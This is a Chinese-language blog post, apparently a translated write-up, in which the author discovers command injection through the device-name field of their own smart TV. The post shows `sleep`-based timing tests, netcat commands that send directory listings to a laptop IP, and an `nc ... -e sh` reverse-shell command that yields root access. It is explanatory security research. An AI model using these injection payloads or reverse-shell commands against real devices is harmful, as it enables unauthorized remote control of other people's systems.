导语:工作一天之后,晚上躺在床上看电视,虽然很累,但是还是在思考着我发现的我路由器的一个漏洞。

工作一天之后,晚上躺在床上看电视,虽然很累,但是还是在思考着我发现的我路由器的一个漏洞。在这样的设备中找到漏洞总是很有趣的,因为可以看到除了开发人员或公司的技术支持团队之外,用户无法看到的内容。

由于我很累,我想在电视上设置睡眠定时器,然后躺下睡觉。但是,在设置计时器时,我想知道是不是存在只有开发者或者支持团队才能看到的隐藏菜单。于是我通过Google进行快速搜索之后,我发现可以打开这个品牌的电视机隐藏菜单的代码。

打开设置并输入遥控器上的代码后,屏幕左侧弹出另一个菜单。几乎所有的类别都不可以访问。我只能激活“酒店模式”,并查看该套件的版本号。

我想了解更多有关电视的信息。在设置中,有一个名为“info”的类别。我打开它,只看到一些更多的版本号。但是我发现了一个让我特别注意的地方:设置电视名称。

我的智能电视的漏洞

因为在信息安全领域工作,在生活中遇到需要输入的地方总会情不自禁的试一下日常的攻击payload。比如在路由器web界面的get参数,或者新的打印机的控制面板,又比如现在我遇到的电视机。所以我认为将它命名为”`sleep 5`“会很有趣。

1491547035352499.jpg

当我使用遥控器将payload输入进去之后,确认之后设置菜单冻结了很久。恢复正常之后,我已经更改了名称,并且可以再次访问其他菜单。这时我并不认为它真的存在命令注入或者其他漏洞。在更改名称之前,我的电视机挂起只需要几秒钟,但是现在挂起明显需要很长一段时间,所以我对它有了很大的兴趣。

此时的挂起时间与我输入的5秒钟并不相符,所以我猜想电视机内的程序应该对反引号内的字符进行了一定的处理,也许是电视机不接受这样的设置,并且在阻止payload执行的过程中抛出了错误,导致时间迟缓。然后我又将”`sleep 0`“输入进去,它瞬间加载成功。

虽然我不确定发生这种情况的原因是什么,但是我确定我的payload一定被执行了。所以,我决定测量一下更改之后的每次响应的时间。事实证明,电视机的响应时间总比输入的时间多3倍。如下:

sleep(2) —— 6秒
sleep(3) —— 9秒
sleep(5) —— 15秒

在智能电视中执行命令

我简直不敢相信,在我尝试的第一个输入框中竟然存在命令注入。访问菜单延迟并不是一个很好的证明,同时在解释漏洞方面也不是很有用。由于这个输入框限制31个字符,除去两个反引号,我可以输入的payload只剩下了29个字符。

下面表格中是我在电视里面尝试执行的命令,以及各个命令的含义,还有它们是否执行成功:

1.png

这时候已经太晚了,所以我决定先去睡觉,第二天再尝试获得shell。第二天醒来之后最大的困难就是起床去拿笔记本以及网线:)之前的系统命令全是在床上使用遥控器执行的。

获取智能电视的shell

我的电视是壁挂式的,所以在它上面插入网线并不是想象中那么容易。冒着肩膀脱臼的风险,我把电缆插到了电视上面。连接到我的笔记本电脑之后我通过ipconfig命令查看我电脑的ip。

laptop_ippng.png

所以现在我已经知道了我笔记本的Ip,只需要通过反向连接就可以得到电视的shell。因此我根本不需要知道电视的IP是什么。同时反向shell也很方便,它可以绕过所有阻止入站连接的防火墙规则。但是在考虑如何在29个字符之内得到shell之前,我想先多了解一下电视机内的系统。

在电视机中使用netcat

我已经发现在电视机中安装了nc,所以我决定使用nc通过建立与我的笔记本的连接将一些命令的输出回显到我的笔记本上。尝试的第一个命令是id,这条命令可以告诉我们当前的权限是不是root。

root_privilege_tvpng.png

从上面的图片中可以看到我们现在是root权限。虽然这并不奇怪,但是还是很高兴看到的。接下来我要做的是得到根目录的目录列表,使用ls -la /|nc 169.254.56.216 5这个命令。

smart_tv_directory_listingpng.png

很完美,不过现在还是没有完全得到一个shell。并且执行的命令或多或少都有一定的限制并不是很有用。因为电视机版本的nc有-e参数,所以我们可以很简单的使用 `nc 169.254.213.210 5 -e sh`得到一个反向shell。

reverse_shell_smart_tvpng.png

已得到shell

完美,我现在已经有了一个很方便的反向shell。并且我对以一种可以看到的方式对电视机搞怪很感兴趣,比如修改它的开机图标,或者更改软件的图标。由于这是一个智能电视,所以有一些像youtube,skype这样的预装应用程序。

1491547203439578.jpg

我发现绝大多数的文件系统都只是只读的,所以我不能更改开机的图标。但是有一些频繁变化的图片我们是可以修改的,比如:当你切换频道时,显示的频道预览框是可以改变的。它们包含你访问频道时运行的程序的快照。 显然,这些必须被保存在一个可以读写文件的地方。

我注意到图标图像是.png文件。 我使用命令find / -name * .png列出了带有.png扩展名的所有文件,但预览文件不在那里。但是我尝试了相同的搜索,但这次是.jpg文件,我注意到一些文件,如channelImage123.jpg。 上传我想显示的文件,并替换相应的channelImage文件,下图是替换之后的结果:

1491547223646915.jpg

你的电视并不是你想的那么智能

互联网设备可能在非常奇怪的地方出现漏洞,当我尝试sleep命令时我甚至没有想到它会成功,因为我只是闲的无聊而已。并且我还没想到我的电视竟然是在linux下工作的,甚至它可以被我攻击成功。

这个漏洞并不能远程攻击,但是这证实了我没有把我的电视连接到互联网是正确的。因为我一想到有人操控我的电视机就不怎么舒服。

源链接

Hacking more

...